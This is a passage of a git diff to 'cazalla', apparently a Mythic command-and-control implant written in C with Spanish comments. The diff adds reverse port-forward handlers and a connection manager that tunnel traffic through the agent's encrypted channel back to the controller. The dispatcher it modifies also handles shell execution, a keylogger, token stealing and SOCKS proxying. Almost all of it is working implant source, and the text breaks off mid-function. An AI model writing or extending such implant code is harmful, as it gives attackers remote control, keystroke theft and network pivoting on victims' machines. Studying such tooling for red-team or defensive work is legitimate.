diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index ac9efcb..61dd435 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -1,47 +1,107 @@ #include "cazalla.h" #include "comandos.h" #include "socks_manager.h" +#include "rpfwd_manager.h" #include "paquete.h" /* Forward: handlers for the new commands */ static void startSocksHandler(PAnalizador analizadorTarea); static void stopSocksHandler(PAnalizador analizadorTarea); +static void startRpfwdHandler(PAnalizador analizadorTarea); +static void stopRpfwdHandler(PAnalizador analizadorTarea); BOOL handleGetTasking(PAnalizador obtenerTarea) { - - _dbg("handleGetTasking() llamado"); + _inf("========== handleGetTasking INICIO =========="); + _inf("Buffer disponible: %zu bytes", obtenerTarea->tamano); + if (obtenerTarea->tamano < 4) { + _err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano); + return FALSE; + } + + // Leer número de tareas (4 bytes) UINT32 numeroTareas = getInt32(obtenerTarea); - _dbg("Número de tareas: %u", numeroTareas); + _inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano); - if (numeroTareas) { - _dbg("Hay %d tareas", numeroTareas); + if (numeroTareas == 0) { + _inf("No hay tareas pendientes"); + return TRUE; + } + + if (obtenerTarea->tamano == 0 && numeroTareas > 0) { + _err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas); + return FALSE; } for (UINT32 i = 0; i < numeroTareas; i++) { - SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID - _dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea); + _inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas); + _inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano); + if (obtenerTarea->tamano < 4) { + _err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano); + break; + } + + // Formato: [task_size (4)][command_code (1)][task_id + parameters...] + // task_size incluye el command_code + task_id + parameters + SIZE_T tamanoTarea = getInt32(obtenerTarea); + _inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano); + + if (tamanoTarea == 0 || tamanoTarea > 1000000) { + _err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea); + _err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano); + break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán + } + + if (obtenerTarea->tamano < 1) { + _err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano); + break; + } + + // Leer el command_code (1 byte) BYTE tarea = getByte(obtenerTarea); - _dbg("Comando recibido: 0x%02X (%d)", tarea, tarea); - _inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X", - tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD); + _inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano); + // El tamaño restante es tamanoTarea - 1 (ya leímos el command_code) + tamanoTarea = tamanoTarea - 1; + _inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea); // Debug: log specific command types - if (tarea == KEYLOG_START_CMD) { - _inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea); + if (tarea == START_RPFWD_CMD) { + _inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea); + } else if (tarea == STOP_RPFWD_CMD) { + _inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea); + } else if (tarea == KEYLOG_START_CMD) { + _inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea); } else if (tarea == KEYLOG_STOP_CMD) { - _inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea); - } else if (tarea == 0x30) { - _inf("=== RAW 0x30 detected (should be KEYLOG_START) ==="); - } else if (tarea == 0x31) { - _inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ==="); + _inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea); } + // Leer el buffer de la tarea (task_id + parameters) + if (obtenerTarea->tamano < tamanoTarea) { + _err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)", + i+1, obtenerTarea->tamano, tamanoTarea); + break; + } + PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); + if (!bufferTarea) { + _err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)", + i+1, tamanoTarea, obtenerTarea->tamano); + break; + } + _inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes", + i+1, tamanoTarea, obtenerTarea->tamano); + PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); + if (!analizadorTarea) { + _err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1); + LocalFree(bufferTarea); + continue; + } + _inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1); if (tarea == SHELL_CMD){ + _inf("Tarea %u: Ejecutando SHELL_CMD", i+1); ejecutarConsola(analizadorTarea); } else if (tarea == EXIT_CMD) { cerrarCallback(analizadorTarea); @@ -75,6 +135,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } else if (tarea == STOP_SOCKS_CMD) { _dbg("Received STOP_SOCKS_CMD"); stopSocksHandler(analizadorTarea); + } else if (tarea == START_RPFWD_CMD) { + _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea); + _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1); + startRpfwdHandler(analizadorTarea); + _inf("Tarea %u: startRpfwdHandler() retornó", i+1); + } else if (tarea == STOP_RPFWD_CMD) { + _dbg("Received STOP_RPFWD_CMD"); + stopRpfwdHandler(analizadorTarea); } else if (tarea == KEYLOG_START_CMD) { _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); StartKeylogger(analizadorTarea); @@ -105,10 +173,17 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== WHOAMI_CMD COMPLETED ====="); } else { _wrn("Tarea desconocida: 0x%02x", tarea); + _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); // liberar analizador si no será usado por otro handler if (analizadorTarea) liberarAnalizador(analizadorTarea); + if (bufferTarea) LocalFree(bufferTarea); } + + _inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano); } + + _inf("========== handleGetTasking FIN =========="); + _inf("Buffer final restante: %zu bytes", obtenerTarea->tamano); return TRUE; } @@ -137,10 +212,10 @@ BOOL commandDispatch(PAnalizador respuesta) { } BYTE tipoRespuesta = getByte(respuesta); - _dbg("Tipo de respuesta: 0x%02X", tipoRespuesta); + _inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano); if (tipoRespuesta == GET_TASKING) { - _dbg("Llamando handleGetTasking()"); + _inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano); return handleGetTasking(respuesta); } else if (tipoRespuesta == POST_RESPONSE) { @@ -228,7 +303,8 @@ static void startSocksHandler(PAnalizador analizadorTarea) { SIZE_T uuidLen = 36; PCHAR taskUuid = getString(analizadorTarea, &uuidLen); - // Leer el puerto + // SOCKS usa formato especial sin nbArg, lee puerto directamente + // Formato: UUID (36) + puerto (4) UINT32 localPort = (UINT32)getInt32(analizadorTarea); _dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort); @@ -301,3 +377,118 @@ static void stopSocksHandler(PAnalizador analizadorTarea) { if (analizadorTarea) liberarAnalizador(analizadorTarea); } + +/* ============================ + START_RPFWD_CMD handler + Expected params (in this order inside the task buffer): + - 36 bytes: UUID del task + - UINT32 LocalPort (optional). If absent or zero -> default 8080. + Behavior: + - call rpfwd_manager_init() + - call rpfwd_manager_start_listener(local_port) + - send response back to Mythic + ============================ */ +static void startRpfwdHandler(PAnalizador analizadorTarea) { + _dbg("startRpfwdHandler() enter"); + _inf("===== PROCESSING START_RPFWD_CMD (0x62) ====="); + + // Leer el UUID del task (primeros 36 bytes) + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + if (!taskUuid || uuidLen != 36) { + _err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen); + if (analizadorTarea) liberarAnalizador(analizadorTarea); + return; + } + + // Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)... + UINT32 nbArg = getInt32(analizadorTarea); + _dbg("startRpfwdHandler: nbArg=%u", nbArg); + + // Leer el puerto (primer parámetro) + UINT32 localPort = 0; + if (nbArg > 0) { + localPort = (UINT32)getInt32(analizadorTarea); + _dbg("startRpfwdHandler: leído puerto=%u", localPort); + } + + _dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort); + + if (localPort == 0) localPort = 8080; // Default RPFWD port + + // initialize rpfwd manager (idempotent) + rpfwd_manager_init(); + + int rc = rpfwd_manager_start_listener((uint16_t)localPort); + + // Crear respuesta para Mythic + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente + addString(respuesta, taskUuid, FALSE); // Task UUID + + // Crear paquete temporal para el output + PPaquete salida = nuevoPaquete(0, FALSE); + if (rc == 0) { + _inf("rpfwd_manager_start_listener(%u) OK", localPort); + PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort); + PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n", + "0.0.0.0", localPort); + + // Add Network Connection artifact + char artifact_buf[256]; + snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort); + addArtifact(respuesta, "Network Connection", artifact_buf); + } else { + _err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc); + if (rc == 1) { + PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort); + PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n"); + PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n"); + } else { + PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc); + } + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Enviar respuesta + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); +} + +/* ============================ + STOP_RPFWD_CMD handler + Expected params: + - 36 bytes: UUID del task + Behavior: + - call rpfwd_manager_stop_listener() + - send response back to Mythic + ============================ */ +static void stopRpfwdHandler(PAnalizador analizadorTarea) { + _dbg("stopRpfwdHandler() enter"); + + // Leer el UUID del task (primeros 36 bytes) + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + _dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid); + + int rc = rpfwd_manager_stop_listener(); + _dbg("rpfwd_manager_stop_listener() rc=%d", rc); + + // Crear respuesta para Mythic + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente + addString(respuesta, taskUuid, FALSE); // Task UUID + + // Crear paquete temporal para el output + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Enviar respuesta + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 5f02974..0208765 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -13,6 +13,7 @@ #include "screenshot.h" #include "keylog.h" #include "tokens.h" +#include "rpfwd_manager.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -42,6 +43,10 @@ #define START_SOCKS_CMD 0x60 #define STOP_SOCKS_CMD 0x61 +/* Reverse Port Forward commands */ +#define START_RPFWD_CMD 0x62 +#define STOP_RPFWD_CMD 0x63 + /* Token commands */ #define LIST_TOKENS_CMD 0x32 #define STEAL_TOKEN_CMD 0x33 @@ -51,6 +56,8 @@ /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 +/* Extension marker to carry RPFWD array in binary messages */ +#define RPFWD_BLOCK_MARKER 0xF2 BOOL parseChecking(PAnalizador respuestaAnalizador); BOOL rutina(); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 9a9a8dd..ec8428d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -2,6 +2,7 @@ #include "cazalla.h" #include "paquete.h" #include "socks_manager.h" +#include "rpfwd_manager.h" // Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. PPaquete nuevoPaquete(BYTE idComando, BOOL init) { @@ -49,6 +50,26 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha _dbg("flush_socks_cb completed"); } +/* Callback C para volcar mensajes RPFWD al paquete */ +static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) { + PPaquete pkt = (PPaquete)ctx; + _dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port); + addInt32(pkt, server_id); + addByte(pkt, (BYTE)(exit_flag ? 1 : 0)); + if (data_len && data) { + char *b64 = b64Codificado(data, (SIZE_T)data_len); + SIZE_T b64len = b64 ? strlen(b64) : 0; + addInt32(pkt, (UINT32)b64len); + if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE); + if (b64) LocalFree(b64); + } else { + addInt32(pkt, 0); + } + // Add port (optional, but needed if multiple RPFWD ports are supported) + addInt32(pkt, port); + _dbg("flush_rpfwd_cb completed"); +} + /* === Nueva función: inserta tráfico SOCKS pendiente === */ static VOID flushSocksTraffic(PPaquete paquete) { _dbg("flushSocksTraffic()"); @@ -74,6 +95,31 @@ static VOID flushSocksTraffic(PPaquete paquete) { _dbg("flushSocksTraffic() completed"); } +/* === Nueva función: inserta tráfico RPFWD pendiente === */ +static VOID flushRpfwdTraffic(PPaquete paquete) { + _dbg("flushRpfwdTraffic()"); + /* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */ + PPaquete temp = nuevoPaquete(0, FALSE); + if (!temp) { + _err("nuevoPaquete temp failed"); + return; + } + _dbg("temp paquete created"); + + rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp); + _dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length); + + if (temp->length > 0) { + _dbg("Adding RPFWD block marker"); + /* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */ + addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER); + addInt32(paquete, (UINT32)temp->length); + addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE); + } + liberarPaquete(temp); + _dbg("flushRpfwdTraffic() completed"); +} + /* === Enviar paquete con soporte SOCKS === */ PAnalizador mandarPaquete(PPaquete paquete) { _dbg("mandarPaquete() len=%zu", paquete->length); @@ -85,6 +131,14 @@ PAnalizador mandarPaquete(PPaquete paquete) { } else { _dbg("SOCKS inactivo, saltando flushSocksTraffic()"); } + + // Solo añadir tráfico RPFWD si está activo + if (rpfwd_active) { + _dbg("RPFWD activo, flushRpfwdTraffic()"); + flushRpfwdTraffic(paquete); + } else { + _dbg("RPFWD inactivo, saltando flushRpfwdTraffic()"); + } // === Handle encryption according to Mythic format === // Format with encryption: Base64(PayloadUUID + AES256(rest_of_data)) @@ -120,13 +174,6 @@ PAnalizador mandarPaquete(PPaquete paquete) { _dbg("Data offset (after UUID): %zu", dataOffset); _dbg("Datos a cifrar: %zu bytes", dataLength); - // Log raw packet structure - _dbg("Raw packet structure (first 60 bytes, hex): "); - for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) { - _dbg(" %02x ", ((PBYTE)paquete->buffer)[i]); - if ((i + 1) % 16 == 0) _dbg("\n"); - } - // Create a temporary package with only the data part (without UUID) PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); if (!dataPackage) { @@ -144,17 +191,6 @@ PAnalizador mandarPaquete(PPaquete paquete) { memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength); dataPackage->length = dataLength; - // Log data to encrypt - _dbg("=== DATA TO ENCRYPT (without UUID) ==="); - _dbg("Data length: %zu bytes", dataPackage->length); - _dbg("Data preview (hex, first 64 bytes): "); - for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) { - _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]); - if ((i + 1) % 32 == 0) _dbg("\n"); - } - _dbg("First byte of data (should be command byte): 0x%02X", - dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0); - // Encrypt only the data part (without UUID) _inf("=== STARTING ENCRYPTION ==="); _dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length); @@ -167,15 +203,6 @@ PAnalizador mandarPaquete(PPaquete paquete) { } _inf("=== ENCRYPTION COMPLETE ==="); - _dbg("Datos cifrados: %zu bytes (original: %zu bytes)", - dataPackage->length, dataLength); - - // Log encrypted data preview - _dbg("Encrypted data preview (hex, first 80 bytes): "); - for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) { - _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]); - if ((i + 1) % 32 == 0) _dbg("\n"); - } // Concatenate UUID + encrypted data SIZE_T finalSize = UUID_LENGTH + dataPackage->length; @@ -187,38 +214,12 @@ PAnalizador mandarPaquete(PPaquete paquete) { return NULL; } - _dbg("=== CONCATENATING UUID + ENCRYPTED DATA ==="); memcpy(finalBuffer, uuidStr, UUID_LENGTH); - _dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH); memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length); - _dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu", - dataPackage->length, UUID_LENGTH); datosAEnviar = finalBuffer; tamanoAEnviar = finalSize; - _dbg("=== FINAL BUFFER READY ==="); - _dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)", - finalSize, UUID_LENGTH, dataPackage->length); - - // Log first bytes of final buffer (show UUID + start of encrypted data) - _dbg("Final buffer preview (hex, first 100 bytes): "); - for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) { - _dbg(" %02x ", finalBuffer[i]); - if (i == UUID_LENGTH - 1) { - _dbg("| "); // Mark where UUID ends - } - if ((i + 1) % 32 == 0) _dbg("\n"); - } - - // Log final buffer as readable string (first part should be UUID) - char finalPreview[101] = {0}; - size_t previewLen = finalSize > 100 ? 100 : finalSize; - memcpy(finalPreview, finalBuffer, previewLen); - _dbg("Final buffer preview (ASCII, first 100 bytes): %.*s", - (int)previewLen, finalPreview); - _dbg("First 36 chars should be UUID: %.*s", 36, finalPreview); - // Cleanup temporary package LocalFree(dataPackage->buffer); LocalFree(dataPackage); @@ -229,16 +230,6 @@ PAnalizador mandarPaquete(PPaquete paquete) { } // Codificar en base64 - _dbg("=== BASE64 ENCODING ==="); - _dbg("Binary size to encode: %zu bytes", tamanoAEnviar); - - // Log binary data before base64 - _dbg("Binary data preview (hex, first 80 bytes): "); - for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) { - _dbg(" %02x ", datosAEnviar[i]); - if ((i + 1) % 32 == 0) _dbg("\n"); - } - PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar); SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar); @@ -249,25 +240,6 @@ PAnalizador mandarPaquete(PPaquete paquete) { } return NULL; } - - _dbg("Base64 encoding complete"); - _dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)", - tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3); - - // Log base64 preview with more detail - if (paqueteParaMandar && tamanoDelPaquete > 0) { - size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete; - char preview[101] = {0}; - memcpy(preview, paqueteParaMandar, previewLen); - _dbg("Base64 preview (first %zu chars): %s", previewLen, preview); - if (tamanoDelPaquete > 100) { - _dbg("... (total %zu chars)", tamanoDelPaquete); - } - - // Show where UUID should be in base64 (first 48 chars should be UUID base64) - _dbg("First 48 chars of base64 (should contain UUID): %.*s", - 48, paqueteParaMandar); - } _inf("=== READY TO SEND ==="); _dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); @@ -477,6 +449,70 @@ PAnalizador mandarPaquete(PPaquete paquete) { if (!found) { _dbg("No se encontró bloque SOCKS"); } + + // Buscar bloque RPFWD (similar a SOCKS pero con puerto) + cursor = len - 5; + found = FALSE; + _dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len); + + while (cursor > 0 && cursor < len - 4) { + if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) { + _dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor); + + UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; + _dbg("Bloque RPFWD: ext_len=%u", ext_len); + + if (cursor + 5 + ext_len > len) { + _err("bloque RPFWD truncado"); + break; + } + + SIZE_T ecur = cursor + 5; + SIZE_T eend = cursor + 5 + ext_len; + while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13 + UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3]; + BYTE exitf = buf[ecur+4]; + UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8]; + UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12]; + ecur += 13; + + if (ecur + b64len > eend) break; + + unsigned char *raw = NULL; + size_t raw_len = 0; + char *b64str_rpfwd = NULL; + + if (b64len > 0) { + b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1); + if (b64str_rpfwd) { + memcpy(b64str_rpfwd, buf + ecur, b64len); + b64str_rpfwd[b64len] = '\0'; + _dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd); + base64_decode(b64str_rpfwd, &raw, &raw_len); + _dbg("Base64 RPFWD decodificado: %zu bytes", raw_len); + LocalFree(b64str_rpfwd); + } + } + + _dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port); + rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port); + + if (raw) LocalFree(raw); + ecur += b64len; + } + + // Remover bloque RPFWD del analizador + respuesta->tamano = cursor; + _dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor); + found = TRUE; + break; + } + cursor--; + } + + if (!found) { + _dbg("No se encontró bloque RPFWD"); + } } } else { _err("fallo al decodificar base64"); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.c new file mode 100644 index 0000000..e5346b2 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.c @@ -0,0 +1,757 @@ +#include "rpfwd_manager.h" +#include "debug.h" +#include +#include +#include +#include +#include "utils.h" +#include +#include + +#ifdef _WIN32 + #include + #include + #include + #pragma comment(lib,"Ws2_32.lib") + typedef SOCKET sock_t; + #define CLOSESOCK(s) closesocket(s) +#else + #include + #include + #include + #include + #include + #include + #include + typedef int sock_t; + #define INVALID_SOCKET -1 + #define SOCKET_ERROR -1 + #define CLOSESOCK(s) close(s) +#endif + + +volatile int rpfwd_active = 0; // Flag global de estado RPFWD + +typedef struct rpfwd_conn_entry { + uint32_t server_id; + sock_t sock; + uint32_t port; // Local port this connection is on + struct rpfwd_conn_entry *next; + int closed; +} rpfwd_conn_entry_t; + +static rpfwd_conn_entry_t *conn_list = NULL; +#ifdef _WIN32 +static CRITICAL_SECTION conn_lock; +#else +static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER; +#endif + +typedef struct outgoing_node { + rpfwd_msg_t msg; + struct outgoing_node *next; +} outgoing_node_t; +static outgoing_node_t *out_head = NULL; +static outgoing_node_t *out_tail = NULL; + +#ifdef _WIN32 +static CRITICAL_SECTION out_lock; +#else +static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER; +#endif + +static sock_t listener_sock = INVALID_SOCKET; +static uint16_t listener_port = 0; + +#ifdef _WIN32 +static HANDLE listener_thread_handle = NULL; +#else +static pthread_t listener_thread_id = 0; +#endif + +/* === Inicialización / limpieza === */ + +void rpfwd_manager_init(void) { +_inf("rpfwd_manager_init: INICIO"); + static int initialized = 0; + if (initialized) { +_inf("rpfwd_manager_init: Ya inicializado, retornando"); + return; + } + initialized = 1; +_inf("rpfwd_manager_init: Inicializando por primera vez..."); + +#ifdef _WIN32 +_inf("rpfwd_manager_init: Inicializando CriticalSections..."); + InitializeCriticalSection(&conn_lock); + InitializeCriticalSection(&out_lock); +_inf("rpfwd_manager_init: Inicializando Winsock..."); + WSADATA wsa; + int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa); + if (wsa_ret != 0) { + _err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret); + } else { +_inf("rpfwd_manager_init: WSAStartup OK"); + } +#else + pthread_mutex_init(&conn_lock, NULL); + pthread_mutex_init(&out_lock, NULL); +#endif +_inf("rpfwd_manager_init: COMPLETADO"); +} + +void rpfwd_manager_cleanup(void) { +_dbg("rpfwd_manager_cleanup()"); + rpfwd_manager_stop_listener(); + +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + rpfwd_conn_entry_t *cur = conn_list; + while (cur) { + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); + rpfwd_conn_entry_t *n = cur->next; + free(cur); + cur = n; + } + conn_list = NULL; +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); + DeleteCriticalSection(&conn_lock); + DeleteCriticalSection(&out_lock); + WSACleanup(); +#else + pthread_mutex_unlock(&conn_lock); + pthread_mutex_destroy(&conn_lock); + pthread_mutex_destroy(&out_lock); +#endif + rpfwd_active = 0; +} + +/* === Gestión de conexiones === */ + +static rpfwd_conn_entry_t* find_entry(uint32_t server_id) { +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + rpfwd_conn_entry_t *cur = conn_list; + while (cur) { + if (cur->server_id == server_id) { +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + return cur; + } + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + return NULL; +} + +static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) { + rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t)); + if (!e) return NULL; + e->server_id = server_id; + e->sock = s; + e->port = port; + e->next = NULL; + e->closed = 0; +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + e->next = conn_list; + conn_list = e; +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif +_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port); + return e; +} + +static void remove_entry(uint32_t server_id) { +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + rpfwd_conn_entry_t *cur = conn_list, *prev = NULL; + while (cur) { + if (cur->server_id == server_id) { + if (prev) prev->next = cur->next; + else conn_list = cur->next; + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); +_dbg("remove_entry sid=%u", server_id); + free(cur); + break; + } + prev = cur; + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif +} + +/* === Cola de salida === */ + +static void enqueue_outgoing(rpfwd_msg_t *m) { +_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, 